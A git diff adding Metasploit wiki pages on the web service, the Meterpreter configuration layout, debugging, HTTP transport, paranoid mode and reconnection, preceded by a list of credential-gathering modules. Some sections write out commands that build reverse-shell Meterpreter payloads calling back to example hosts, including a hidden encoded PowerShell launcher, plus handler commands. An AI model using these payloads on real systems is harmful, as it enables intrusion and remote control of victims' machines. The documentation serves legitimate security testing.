[auxiliary/scanner/http/tomcat_enum.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/http/tomcat_enum.rb) +- [ ] [post/windows/gather/credentials/tortoisesvn.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/post/windows/gather/credentials/tortoisesvn.rb) +- [ ] [post/windows/gather/credentials/total_commander.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/post/windows/gather/credentials/total_commander.rb) +- [ ] [auxiliary/scanner/http/typo3_bruteforce.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/http/typo3_bruteforce.rb) +- [ ] [auxiliary/gather/vbulletin_vote_sqli.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/gather/vbulletin_vote_sqli.rb) +- [ ] [exploits/unix/webapp/vbulletin_vote_sqli_exec.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb) +- [ ] [auxiliary/scanner/http/vcms_login.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/http/vcms_login.rb) +- [ ] [auxiliary/scanner/vmware/vmware_http_login.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/vmware/vmware_http_login.rb) +- [ ] [auxiliary/scanner/dcerpc/windows_deployment_services.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb) +- [ ] [auxiliary/scanner/http/wordpress_login_enum.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/http/wordpress_login_enum.rb) +- [ ] [auxiliary/gather/wp_w3_total_cache_hash_extract.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb) + + +### Special attention needed + +- [ ] + [post/windows/gather/enum_domain.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/post/windows/gather/enum_domain.rb) - Partials, should create realms but not full cores +- [ ] + [post/windows/gather/enum_domain_group_users.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/post/windows/gather/enum_domain_group_users.rb) - Should create realms and publics but won't be able to get privates +- [ ] + [post/windows/gather/enum_domains.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/post/windows/gather/enum_domains.rb) - Creates realms +- [ ] + [post/windows/gather/enum_logged_on_users.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/post/windows/gather/enum_logged_on_users.rb) - Creates publics but not privates \ No newline at end of file diff --git a/metasploit-framework.wiki/Metasploit-Web-Service.md b/metasploit-framework.wiki/Metasploit-Web-Service.md new file mode 100644 index 000000000000..d3135e43e70a --- /dev/null +++ b/metasploit-framework.wiki/Metasploit-Web-Service.md @@ -0,0 +1,89 @@ +The Metasploit web service allows interaction with Metasploit's various data models through a REST API. + +## Managing the Web Service + +### Requirements +To use the web service you will need a PostgreSQL database to serve as the backend data store. The `msfdb` tool allows you to manage both the Metasploit Framework database and web service. If you are going to configure the database manually you can find more information on the [Managing the Database](https://metasploit.help.rapid7.com/docs/managing-the-database) page. + +### Getting Started + +#### Initialize the Database and Web Service +Execute `msfdb init` and respond to prompts during the interactive initialization. The script first creates and configures the database, then it configures the web service, and finally configures the local `msfconsole` with the new data service connection. + +#### msfdb + +The `msfdb` tool allows you to manage both the Metasploit Framework database and web service components together or independently. If the `--component` option is not provided then the specified command will be executed for the database followed by the web service. This default mode of operation is useful when first setting up the database and web service. The component may be specified if you wish to make changes to a given component independent of the other. + +**Usage:** `msfdb [options] ` +* Options: + * Execute `msfdb --help` for the complete usage information +* Commands: + * init - initialize the component + * reinit - delete and reinitialize the component + * delete - delete and stop the component + * status - check component status + * start - start the component + * stop - stop the component + * restart - restart the component + +##### Examples +* `msfdb start` - Start the database and web service +* `msfdb --component webservice stop` - Stop the web service +* `msfdb --component webservice --address 0.0.0.0 start` - Start the web service, listening on any host address + +#### Notes +* SSL is enabled by default and `msfdb` will generate a fake "snakeoil" SSL certificate during initialization using `Rex::Socket::Ssl.ssl_generate_certificate` if one is not provided. The generated SSL certificate uses a random common name (CN) which will not match your hostname, therefore, you will need to make appropriate accommodations when operating the web service with such a certificate. **Please** generate your own SSL certificate and key instead and supply those to `msfdb` using the `--ssl-cert-file` and `--ssl-key-file` options, and enable SSL verification by passing the option `--no-ssl-disable-verify`. + +* A simple verification that web service is up and running can be performed using cURL: `curl --insecure -H "Accept: application/json" -H "Authorization: Bearer " https://localhost:5443/api/v1/msf/version` + +### Accessing the API +The API account can be accessed with your preferred web browser by visiting `https://
:/api/v1/auth/account`. If you want to change the API token for your account you can log in to the API account page and generate a new API token. You can find more +information on the data models and various API endpoints by visiting the API Documentation at: `https://
:/api/v1/api-docs` + +## Utilizing the Data Service in msfconsole + +### Connecting +You can use the `db_connect` command to connect to the desired data service. When you successfully connect to a data service that connection will be saved in the Metasploit config file. You can provide a name with the `-n` option, otherwise one will be randomly generated. You can then use that name to reconnect to the data service at a later time. + +Please note that you can only be connected to one data service at a time. The `db_disconnect` command will need to be used before switching to a new data service. You can use `db_status` to see information about the currently connected data service. + +**Usage:** `db_connect ` +* Options: + * `-l`,`--list-services` - List the available data services that have been previously saved. + * `-y`,`--yaml` - Connect to the data service specified in the provided database.yml file. + * `-n`,`--name` - Name used to store the connection. Providing an existing name will overwrite the settings for that connection. + * `-c`,`--cert` - Certificate file matching the remote data server's certificate. Needed when using self-signed SSL cert. + * `-t`,`--token` - The API token used to authenticate to the remote data service. + * `--skip-verify` - Skip validating authenticity of server's certificate (NOT RECOMMENDED). +* Examples: + * `db_connect http://localhost:5443` - Connect to the Metasploit REST API instance at localhost running on port 5443 + * `db_connect -c ~/.msf4/msf-ws-cert.pem -t 72ce00fd9ab1a96970137e5a12faa12f38dcc4a9e42158bdd3ce7043c65f5ca37b862f3faf3630d2 https://localhost:5443` - Connect to the server running at localhost on port 5443 that has SSL and authentication enabled. + * `db_connect -l` - List the data services that have been saved. + * `db_connect -n LA_server http://localhost:5443` - Connect to the data service running on localhost port 5443 and assign the name "LA_server" to the saved entry. +* URL Formats + * HTTP - `http://:` + * HTTPS - `https://:` + * Postgres - `:@:/` + +### Setting a Default Data Service +The `db_save` command can be used to save the currently connected data service as the default. Every time msfconsole starts up it will attempt to connect to that data service. You can always switch between data services if you have a default set, this will just determine which data service you are connected to when msfconsole is started. + +**Usage:** `db_save` +* Examples: + * `db_connect http://localhost:5443` then `db_save` - Connect to the data service running on localhost port 5443 then set it as the default connection. + +### Removing Saved Data Services +Saved data services can be removed using the `db_remove` command. This can be useful if the data service no longer exists at that location, or if you no longer want to keep a record of it around for fast connection. + +**Usage:** `db_remove ` + * Examples: + * `db_remove LA_server` - Remove the saved data service entry called "LA_server" + +### Notes +There are a few pieces of information to keep in mind when using data services with Metasploit Framework. +* Specifying the name of an existing saved data service connection will overwrite those settings. +* A data service must already have an existing entry in the list of saved data services to be set as the default. Data services that were connected to using a database.yml file cannot be saved as default using this method. +* A Postgres database connection is required before connecting to a remote data service. +* The configuration from the `database.yml` will still be honored for the foreseeable future, but a saved default data service will take priority when it is present. +* The saved data services are stored in the Metasploit config file, which is located at `~/.msf4/config` by default. + diff --git a/metasploit-framework.wiki/Meterpreter-Configuration.md b/metasploit-framework.wiki/Meterpreter-Configuration.md new file mode 100644 index 000000000000..5041515fcd32 --- /dev/null +++ b/metasploit-framework.wiki/Meterpreter-Configuration.md @@ -0,0 +1,306 @@ +## On this page + +* [How the configuration is found](#how-the-configuration-is-found) + * [Loading configuration in Windows Meterpreter](#loading-configuration-in-windows-meterpreter) + * [Loading configuration in POSIX Meterpreter (Mettle)](#loading-configuration-in-posix-meterpreter-mettle) +* [Windows Meterpreter configuration block structure](#windows-meterpreter-configuration-block-structure) + * [Session configuration block](#session-configuration-block) + * [Transport configuration block](#transport-configuration-block) + * [Common configuration values](#common-configuration-values) + * [TCP configuration values](#tcp-configuration-values) + * [HTTP/S configuration values](#https-configuration-values) + * [Transport configuration list](#transport-configuration-list) + * [Extension configuration block](#extension-configuration-block) +* [Configuration block overview](#configuration-block-overview) + + +Meterpreter has always needed to be configured on the fly so that it knows how to talk to Metasploit. For many years, this configuration management was achieved by hot-patching a copy of the `metsrv` DLL/binary using a simple "string replace" approach. This worked well enough to support a number of situations but restricted the flexibility of Meterpreter and its support for handling multiple transports. + +It wasn't just transports that were locked down, but the ability to provide payloads that contained way more than the core Meterpreter (metsrv) itself. It was also not easy to pass other forms of information on the fly to the Meterpreter instance because the stagers were only able to pass in a copy of the active socket handle. + +Recent modifications to Meterpreter have done away with this old method and have replaced with a dynamic configuration block that can be used to alleviate these problems and provide the flexibility for other more interesting things down the track. + +This document contains information on the structure and layout of the new configuration block, along with how it is used by Meterpreter. + +## How the configuration is found + +In the past, Meterpreter has required that the stager (or stage0 as some like to call it) pass in a handle to the active socket so that it can take over communications without creating a new socket (at least in the case of `TCP` connections). While this feature is still required, it doesn't happen in the way that it used to. Instead, Meterpreter now requires that the stager pass in a pointer to the start of the configuration block. The configuration block can be anywhere in memory, so long as the memory region is marked as `RWX`. + +### Loading configuration in Windows Meterpreter + +Stage 1 of loading Windows Meterpreter now utilises a new loader, called `meterpreter_loader` ([Win x86](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/payload/windows/meterpreter_loader.rb), [Win x64](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb)), which does the following: + +* Loads the `metsrv` DLL from disk. +* Patches the DOS header of the DLL so that it contains executable shellcode that correctly initializes `metsrv` and calculates the location that points to the end of `metsrv` in memory. It also takes any existing socket value (found in `edi` or `rdi` depending on the architecture) and writes that directly to the configuration (more on this later). +* Generates a configuration block and appends this to the `metsrv` binary. + +The result is that the payload has the following structure once it has been prepared: + +``` + +--------------+ + | Patched DOS | + | header | + +--------------+ + | | + . . + . metsrv dll . + . . + | | + +--------------+ + | config block | + +--------------+ +``` + +### Loading configuration in POSIX Meterpreter (Mettle) + +All of the configuration for the POSIX Meterpreter is able to be passed through command-line arguments to the payload. When generating a payload with a specific configuration, a simulated command line is patched into a static variable in the main startup code. Generate a payload and see `./mettle -h` for a full description of available arguments. + +## Windows Meterpreter configuration block structure + +In order to pass information to Meterpreter and not have it break, a known format of configuration is required. This format needs to be consistent on each invocation, much like you would expect with any configuration. In the case of binary Meterpreter (POSIX and Windows), this configuration block contains the following: + +* One Session configuration block. +* One or more Transport Configuration blocks, followed by a terminator. +* One or more Extension configuration blocks, followed by a terminator. + +Each of these blocks is described in detail in the sections below. + +### Session configuration block + +The notion of a session configuration block is used to wrap up the following values: + +* **Socket handle** - When Meterpreter is invoked with TCP communications, an active socket is already in use. This socket handle is intended to be reused by Meterpreter when `metsrv` executes. This socket handle is written to the configuration block on the fly by the loader. It is stored in the Session configuration block so that it has a known location. This value is always a 32-bit DWORD, even on 64-bit platforms. +* **Exit func** - This value is a 32-bit DWORD value that identifies the method that should be used when terminating the Meterpreter session. This value is the equivalent of the [Block API Hash](https://github.com/rapid7/rex-text/blob/0e3b7d3246f9db257465f385f21d6e5385d85212/lib/rex/text/block_api.rb#L16) that represents the function to be invoked. Meterpreter used to delegate the responsibility of handling this to the stager that had invoked it. Meterpreter no longer does this, instead, it handles the closing of the Meterpreter session by itself, and hence the chosen method for termination must be made known in the configuration. +* **Session expiry value** - This is a 32-bit DWORD that contains the number of seconds that the Meterpreter session should last for. While Meterpreter is running, this value is continually checked, and if the session expiry time is reached, then Meterpreter shuts itself down. For more information, please read [Meterpreter Timeout Control](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Timeout-Control). +* **UUID** - This is a 16-byte value that represents a payload UUID. A UUID is a new concept that has come to Metasploit with a goal of tracking payload type and origin, and validating that sessions received by Metasploit are intended for use by the current installation. For more information, please read [Payload UUID](https://github.com/rapid7/metasploit-framework/wiki/Payload-UUID). + +The layout of this block in memory looks like this: + +``` + +--------------+ + |Socket Handle | + +--------------+ + | Exit func | + +--------------+ + |Session Expiry| + +--------------+ + | | + | UUID | + | | + | | + +--------------+ + + | <- 4 bytes ->| +``` + +With this structure in place, Meterpreter knows that the session configuration block is exactly `28` bytes in size. + +The Session configuration block description can be found in the [Meterpreter source](https://github.com/rapid7/metasploit-payloads/blob/6e08d1f9812aa4d7a76b451fd5e0bae03975bb91/c/meterpreter/source/common/common_config.h#L25). + +### Transport configuration block + +The Transport configuration block is a term used to refer to the group of transport configurations that are present in the payload. Meterpreter now supports multiple transports, and so the configuration should support multiple transports too. + +There are two main issues when dealing with transport configurations: + +* The configuration should allow for many transport configurations to be specified. +* The configuration should allow for each transport to be of a different type and size. + +Meterpreter's current transport implementations provide two main "classes" of transport, those being `HTTP(S)` and `TCP`. Each of these transport classes requires different configuration values, as well as common values, in order to function. + +#### Common configuration values + +The values that are common to both `HTTP(S)` and `TCP` transports are: + +* **URL** - This value is a meta-description of the transport and is used not only as a configuration element for the transport itself but also as a way of determining what type of transport this block represents. The field is a total of `512` _characters_ (Windows Meterpreter uses `wchar_t`, while POSIX Meterpreter uses `char`). Transport types are specified by the scheme element in the URL, and the body of the URL specifies key information such as host and port information. Meterpreter inspects this to determine what type of transport block is in use, and hence from there is able to determine the size of the block. Valid values look like the following: + * `tcp://:` - indicates that this payload is a _reverse_ **IPv4** `TCP` connection. + * `tcp6://:?` - indicates that this payload is a _reverse_ **IPv6** `TCP` connection. + * `tcp://:` - indicates that this payload is a _bind_ payload listening on the specified port (note that no host is specified). + * `http://:/` - indicates that this payload is an HTTP connection (can only be _reverse_). + * `https://:/` - indicates that this payload is an HTTPS connection (can only be _reverse_). +* **Communications expiry** - This value is another 32-bit DWORD value that represents the number of seconds to wait between successful packet/receive calls. For more information, please read the **Timeout documentation** (link coming soon). +* **Retry total** - This value is 32-bit DWORD value that represents the number of seconds that Meterpreter should continue to attempt to reconnect on this transport before giving up. For more information, please read the **Timeout documentation** (link coming soon). +* **Retry wait** - This value is 32-bit DWORD value that represents the number of seconds between each attempt that Meterpreter makes to reconnect on this transport. For more information, please read the **Timeout documentation** (link coming soon). + +The layout of this block in memory looks like the following: + +``` + +--------------+ + | | + | URL | + . . + . . 512 characters worth + . . (POSIX -> ASCII -> char) + . . (Windows -> wide char -> wchar_t) + . . + | | + +--------------+ + | Comms T/O | + +--------------+ + | Retry Total | + +--------------+ + | Retry Wait | + +--------------+ + + | <- 4 bytes ->| +``` + +The common transport configuration block description can be found in the [Meterpreter source](https://github.com/rapid7/metasploit-payloads/blob/6e08d1f9812aa4d7a76b451fd5e0bae03975bb91/c/meterpreter/source/common/common_config.h#L38). + +#### TCP configuration values + +At this time, there are no `TCP`-specific configuration values, as the common configuration block caters for all of the needs of `TCP` transports. This may change down the track. + +#### HTTP/S configuration values + +`HTTP` and `HTTPS` connections have a number of extra configuration values that are required in order to make it function correctly in various environments. Those values are: + +* **Proxy host** - In environments where proxies are required to be set manually, this field contains the detail of the proxy to use. The field is `128` characters in size (`wchar_t` only, given that we don't yet have `HTTP/S` transport in POSIX), and can be in one of the following formats: + * `http://:` in the case of `HTTP` proxies. + * `socks=:` in the case of `socks` proxies. +* **Proxy user name** - Some proxies require authentication. In such cases, this value contains the username that should be used to authenticate with the given proxy. This field is `64` characters in size (`wchar_t`). +* Proxy password - This value will accompany the user name field in the case where proxy authentication is required. It contains the password used to authenticate with the proxy and is also `64` characters in size (`wchar_t`). +*** User agent string** - Customisable user agent string. This changes the user agent that is used when `HTTP/S` requests are made to Metasploit. This field is `256` characters in size (`wchar_t`). +* **Expected SSL certificate hash** - Meterpreter has the capability of validating the SSL certificate that Metasploit presents when using `HTTPS`. This value contains the `20`-byte SHA1 hash of the expected certificate. For more information, please read the **SSL certificate validation documentation** (link coming soon). + +All values that are shown above need to be specified in the configuration, including SSL certificate validation for plain `HTTP` connections. Values that are not used should be zeroed out. + +The structure of the `HTTP/S` configuration is as follows. + +``` + +--------------+ + | | + | Proxy host | + . . 128 characters worth (wchar_t) + | | + +--------------+ + | | + | Proxy user | + . . 64 characters worth (wchar_t) + | | + +--------------+ + | | + | Proxy pass | + . . 64 characters worth (wchar_t) + | | + +--------------+ + | | + | User agent | + . . 256 characters worth (wchar_t) + | | + +--------------+ + | | + | SSL cert | + | SHA1 hash | + | | + | | + +--------------+ + + | <- 4 bytes ->| +``` + +The `HTTP/S` transport configuration block description can be found in the [Meterpreter source](https://github.com/rapid7/metasploit-payloads/blob/6e08d1f9812aa4d7a76b451fd5e0bae03975bb91/c/meterpreter/source/common/common_config.h#L53). + +#### Transport configuration list + +As already mentioned, more than one of these transport configuration blocks can be specified. In order to facilitate this, Meterpreter needs to know when the "list" of transports has ended. Using the `URL`, Meterpreter can determine the size of the block and can move to the next block, depending on the type that is discovered. As soon as Meterpreter detects a transport configuration `URL` value that has a string length of zero, for example, a single `NULL` ASCII char in POSIX and a single `NULL` multi-byte char in Windows, it assumes that the transport list has been terminated. The byte immediately following this is deemed to be the start of the Extension configuration, which is documented in the next section. + +### Extension configuration block + +The extension configuration block is designed to allow Meterpreter payloads to contain any extra extensions that the user wants to bundle in. The goal is to provide the ability to have **Stageless payloads** (link coming soon), and to provide the means for sharing of extensions during migration (though this hasn't been implemented yet). Each of the extensions must have been compiled with [Reflective DLL Injection](https://github.com/rapid7/ReflectiveDLLInjection/) support, as this is the mechanism that is used to load the extensions when Meterpreter starts. For more information on this facility, please see the **Stageless payloads** (link coming soon) documentation. + +The extension configuration block also functions as a "list" to allow for an arbitrary number of extensions to be included. Each extension entry needs to contain: + +* **Size** - This is the exact size, in bytes, of the extension DLL itself. The value is a 32-bit DWORD. +* **Extension binary** - This is the full binary directly copied from the DLL. This value needs to be exactly the same length as what is specified in the Size field. + +When loading the extensions from the configuration, Meterpreter will continue to parse entries until it finds a `size` value of `0`. At this point, Meterpreter assumes it has reached the end of the extension list and will stop parsing. + +The structure is simply laid out like the following: + +``` + +--------------+ + | Ext. Size | + +--------------+ + | Ext. content | + +--------------+ + | NULL term. | + | (4 bytes) | + +--------------+ +``` + +## Configuration block overview + +To summarise, the following shows the layout of a full configuration: + + +``` + +--------------+ + |Socket Handle | + +--------------+ + | Exit func | + +--------------+ + |Session Expiry| + +--------------+ + | | + | UUID | + | | + | | + +--------------+ + | Transport 1 | + | tcp://... | + . . + | | + +--------------+ + | Comms T/O | + +--------------+ + | Retry Total | + +--------------+ + | Retry Wait | + +--------------+ + | Transport 2 | + | http://... | + . . + | | + +--------------+ + | Comms T/O | + +--------------+ + | Retry Total | + +--------------+ + | Retry Wait | + +--------------+ + | | + | Proxy host | + | | + +--------------+ + | | + | Proxy user | + | | + +--------------+ + | | + | Proxy pass | + | | + +--------------+ + | | + | User agent | + | | + +--------------+ + | | + | SSL cert | + | SHA1 hash | + | | + +--------------+ + | NULL term. | + |(1 or 2 bytes)| + +--------------+ + | Ext 1. Size | + +--------------+ + |Ext 1. content| + +--------------+ + | Ext 2. Size | + +--------------+ + |Ext 2. content| + +--------------+ + | NULL term. | + +--------------+ +``` diff --git a/metasploit-framework.wiki/Meterpreter-Debugging-Meterpreter-Sessions.md b/metasploit-framework.wiki/Meterpreter-Debugging-Meterpreter-Sessions.md new file mode 100644 index 000000000000..8b580cc6181d --- /dev/null +++ b/metasploit-framework.wiki/Meterpreter-Debugging-Meterpreter-Sessions.md @@ -0,0 +1,111 @@ +There are currently two main ways to debug Meterpreter sessions: + +1. Log all networking requests between msfconsole and Meterpreter, i.e. TLV Packets +2. Generate a custom Meterpreter debug build with extra logging present + +## Log Meterpreter TLV Packets + +This can be enabled for any Meterpreter session, and does not require a debug Metasploit build: + +``` +msf6 > setg SessionTlvLogging true +SessionTlvLogging => true +``` + +Allowed values: + +- `setg SessionTlvLogging true` - Enable network logging, defaulting to console +- `setg SessionTlvLogging false` - Disable all network logging +- `setg SessionTlvLogging console` - Log to the current msfconsole instance +- `setg SessionTlvLogging file:/tmp/session.txt` - Write the network traffic logs to an arbitrary file + +Example output: + +``` +meterpreter > getenv USER + +SEND: # + # + # +]> + +RECV: # + # + # + # + # + # + ]> +]> + +Environment Variables +===================== + +Variable Value +-------- ----- +USER demo_user +``` + +## Meterpreter debug builds + +The following options can be specified when generating Meterpreter payloads: + +- `MeterpreterDebugBuild` - When set to `true`, the generated Meterpreter payload will have additional logging present +- `MeterpreterDebugLogging` - Configure the logging mode. This currently only allows writing to a file on the remote host. Requires `MeterpreterDebugBuild` to be set to true. Example value: `setg MeterpreterDebugLogging rpath:/tmp/meterpreter_log.txt` +- `MeterpreterTryToFork` - When set to `true` the Meterpreter payload will try to fork from the currently running process. Setting to `false` is useful to see any `stdout` logging that occurs + +The debug build will have additional log statements, which can be easily detected. These debug builds are useful for scenarios where A/V is not running, in local labs for learning purposes, or raising Metasploit issue reports etc. + +### Python + +``` +use payload/python/meterpreter_reverse_tcp +generate -o shell.py -f raw lhost=127.0.0.1 MeterpreterDebugBuild=true MeterpreterTryToFork=false +to_handler + +python3 shell.py +``` + +### PHP + +``` +use payload/php/meterpreter_reverse_http +generate -o shell.php -f raw lhost=127.0.0.1 MeterpreterDebugBuild=true +to_handler + +php shell_http.php +``` + +### Windows + +``` +use windows/x64/meterpreter_reverse_tcp +generate -f exe -o shell.exe MeterpreterDebugBuild=true MeterpreterDebugLogging='rpath:C:/test/foo.txt' + +to_handler +``` + +### Mac + +``` +use osx/x64/meterpreter_reverse_tcp +generate -f macho -o shell MeterpreterDebugbuild=true MeterpreterDebugLogging='rpath:/tmp/foo.txt' + +to_handler +``` + +### Linux + +``` +use linux/x64/meterpreter_reverse_tcp +generate -f elf -o shell MeterpreterDebugbuild=true MeterpreterDebugLogging='rpath:/tmp/foo.txt' + +to_handler +``` + +### Java + +Functionality not supported \ No newline at end of file diff --git a/metasploit-framework.wiki/Meterpreter-HTTP-Communication.md b/metasploit-framework.wiki/Meterpreter-HTTP-Communication.md new file mode 100644 index 000000000000..096382dcf2b4 --- /dev/null +++ b/metasploit-framework.wiki/Meterpreter-HTTP-Communication.md @@ -0,0 +1,32 @@ +The Meterpreter payload supports a number of [[transport|Meterpreter Transport Control]], including ``reverse_http`` and ``reverse_https``. This document describes how these transports work. + +### The Initial URL + +During the generation process for a new ``reverse_http`` or ``reverse_https`` payload, an initial connect-back URL will be created. This URL will be either "short" or "long" and the 8-bit checksum of this URL will be set to one of the ``INIT_*`` constants defined in the [UriChecksum](https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/payloads/meterpreter/uri_checksum.rb) mixin. The URL will be generated using the [base64url](https://tools.ietf.org/html/rfc4648#section-5) character set. The "short" URL will always be 5 bytes in length while the "long" URL will be between 30 and 128 bytes in length. Which variant is used is determined by the space constraints of the exploit that generates the payload. The "long" URL can also include an embedded Payload UUID. + +### The Connection URL + +The HTTP handler within Metasploit will receive the request for the initial URL, determine which ```INIT_*``` checksum it correlates to, extract any embedded [[Payload UUID]], and then respond with either the second stage for staged payloads or a new URL for stageless payloads. The new URL is generated by the handler, will embed any Payload UUID that was included in the original request, and will hash to the value defined by the ```URI_CHECKSUM_CONN``` constant. Note that characters other than the base64url character set are ignored during calculation of the checksum. + +The connect URL must be unique between sessions in order for the sessions to function properly. + +### TLS Certificate Pinning + +The Meterpreter HTTPS transport supports certificate pinning. This applies to the stageless payloads as well as Meterpreter payloads loaded with the ```reverse_winhttps``` stagers. At this time, some of the non-Windows stagers also support certificate pinning, but this is still a work in progress. Certificate pinning is enabled by setting the ```StagerVerifySSLCert``` option to ```true``` and by extracting a SHA1 hash of the certificate specified in the ```HandlerSSLCert``` option. The SHA1 hash of the certificate will be verified during the staging process, and also in the handler, if these options are specified in the listener. This feature requires the pre-generation of a unified SSL/TLS certificate in PEM format, with the private key followed by one or more certificates in the chain. If an incoming session connects through a man-in-the-middle proxy that presents a different certificate, the first connection will connect back, but then immediately terminate. The handler will detect a non-responsive connection and close the session automatically. + +The command below generates a custom unified PEM TLS certificate that works with the ```HandlerSSLCert``` option: + +``` +$ openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \ + -subj "/C=US/ST=Texas/L=Austin/O=Development/CN=www.example.com" \ + -keyout www.example.com.key \ + -out www.example.com.crt && \ +cat www.example.com.key www.example.com.crt > www.example.com.pem && \ +rm -f www.example.com.key www.example.com.crt +``` + +### The Application Protocol + +Once the Meterpreter connect URL is requested, the actual dispatch loop starts to run. The Meterpreter payload will make repeated requests with a HTTP body consistent of "RECV". Any queued commands will be returned to the payload, which will process them individually, and return the results in a following request. If no commands were returned as a result of a "RECV" request, the payload will double the interval until the next request, with a maximum that is generally about 10 seconds. + +Additional details about the configuration of the HTTP transport can be found on the [[transport control|Meterpreter Transport Control]] wiki page. \ No newline at end of file diff --git a/metasploit-framework.wiki/Meterpreter-Paranoid-Mode.md b/metasploit-framework.wiki/Meterpreter-Paranoid-Mode.md new file mode 100644 index 000000000000..818862b5be42 --- /dev/null +++ b/metasploit-framework.wiki/Meterpreter-Paranoid-Mode.md @@ -0,0 +1,47 @@ +In some scenarios, it pays to be paranoid. This also applies to generating and handling Meterpreter sessions. This document walks through the process of implementing a paranoid Meterpreter payload and listener. + +### Create a SSL/TLS Certificate + +For best results, use a SSL/TLS certificate signed by a trusted certificate authority. Failing that, you can still generate a self-signed unified PEM using the following command: +``` +$ openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \ + -subj "/C=US/ST=Texas/L=Austin/O=Development/CN=www.example.com" \ + -keyout www.example.com.key \ + -out www.example.com.crt && \ +cat www.example.com.key www.example.com.crt > www.example.com.pem && \ +rm -f www.example.com.key www.example.com.crt +``` + +### Create a Paranoid Payload + +For this use case, we will combine [[Payload UUID]] tracking and whitelisting with [TLS pinning](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-HTTP-Communication#tls-certificate-pinning). For a staged payload, we will use the following command: + +``` +$ ./msfvenom -p windows/meterpreter/reverse_winhttps LHOST=www.example.com LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=./www.example.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o launch-paranoid.bat + +$ head launch-paranoid.bat +%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcg... +``` + +A [[stageless|Meterpreter Stageless Mode]] version of this would look like the following: + +``` +$ ./msfvenom -p windows/meterpreter_reverse_https LHOST=www.example.com LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=./www.example.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedStageless -f exe -o launch-paranoid-stageless.exe +No platform was selected, choosing Msf::Module::Platform::Windows from the payload +No Arch selected, selecting Arch: x86 from the payload +No encoder or badchars specified, outputting raw payload +Payload size: 885314 bytes +Saved as: launch-paranoid-stageless.exe +``` + +### Create a Paranoid Listener + +A staged payload would need to set the ```HandlerSSLCert``` and ```StagerVerifySSLCert``` options to enable TLS pinning and ```IgnoreUnknownPayloads``` to whitelist registered payload UUIDs: +``` +$ ./msfconsole -q -x 'use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_winhttps; set LHOST www.example.com; set LPORT 443; set HandlerSSLCert ./www.example.com.pem; set IgnoreUnknownPayloads true; set StagerVerifySSLCert true; run -j' +``` + +A stageless version is only slightly different: +``` +$ ./msfconsole -q -x 'use exploit/multi/handler; set PAYLOAD windows/meterpreter_reverse_https; set LHOST www.example.com; set LPORT 443; set HandlerSSLCert ./www.example.com.pem; set IgnoreUnknownPayloads true; set StagerVerifySSLCert true; run -j' +``` \ No newline at end of file diff --git a/metasploit-framework.wiki/Meterpreter-Reliable-Network-Communication.md b/metasploit-framework.wiki/Meterpreter-Reliable-Network-Communication.md new file mode 100644 index 000000000000..bed2e45b963e --- /dev/null +++ b/metasploit-framework.wiki/Meterpreter-Reliable-Network-Communication.md @@ -0,0 +1,19 @@ +Of the many recent changes to Meterpreter, reliable network communication is one of the more welcomed ones. For a long time, Meterpreter's communication with Metasploit has been relatively easy to break. Once broken, the session was officially dead, and the only way to get a session back was to replay the original exploitation path and establish a whole new session. + +In the case of HTTP/S transports, some resiliency features were present. Thanks to its stateless nature, HTTP/S transports would continue to attempt to talk to Metasploit after network outages or other unexpected problems as each command request/response is transmitted over a fresh connection. TCP based transports had nothing that would attempt to reconnect should some kind of network issue occur. + +Revamped [transport](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Transport-Control) implementations have provided support for resiliency even for TCP based communcations. Any session that isn't properly terminated by Metasploit will continue to function behind the scenes while Meterpreter attempts to re-establish communications with Metasploit. + +It is also possible to control the behaviour of this functionality a little via the use of the various timeout values that can be specified when adding transports to the session, and also on the fly for the current transport. For full details, please see the [timeout documentation](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Timeout-Control) for details on those timeout values. + +Behind the scenes, Meterpreter now maintains a circular linked list of transports in memory while running. When a transport fails, Meterpreter will shut down and clean up the current transport mechanism resources, and will move onto the next one in the list. From there, Meterpreter will use this transport configuration to attempt to reconnect to Metasploit. It will continue to make these attempts until one of the following occurs: + +* The overall session timeout value is reached, at which point the session is terminated. +* The `Retry Total` time for the transport is reached, at which point Meterpreter will move on to the next transport. +* The connection attempt is successful, and communications is re-established with Metasploit. + +If Meterpreter has a single transport configured, then it will continue to retry on that single transport repeatedly until the session timeout is reached, or a session is successfully created. + +## Important note about resilient transports + +Now that both `TCP` and `HTTP/S` payloads contain resiliency features, it's important to know that exiting Metasploit using `exit -y` no longer terminates `TCP` sessions like it used to. If Metasploit is closed using `exit -y` without terminating existing sessions, both `TCP` and `HTTP/S` Meterpreter sessions will continue to run behind the scenes, attempting to connect back to Metasploit on the specified transports. If your intention is to exit Metasploit _and_ terminate all of your sessions, then make sure you run `sessions -K` first. diff --git 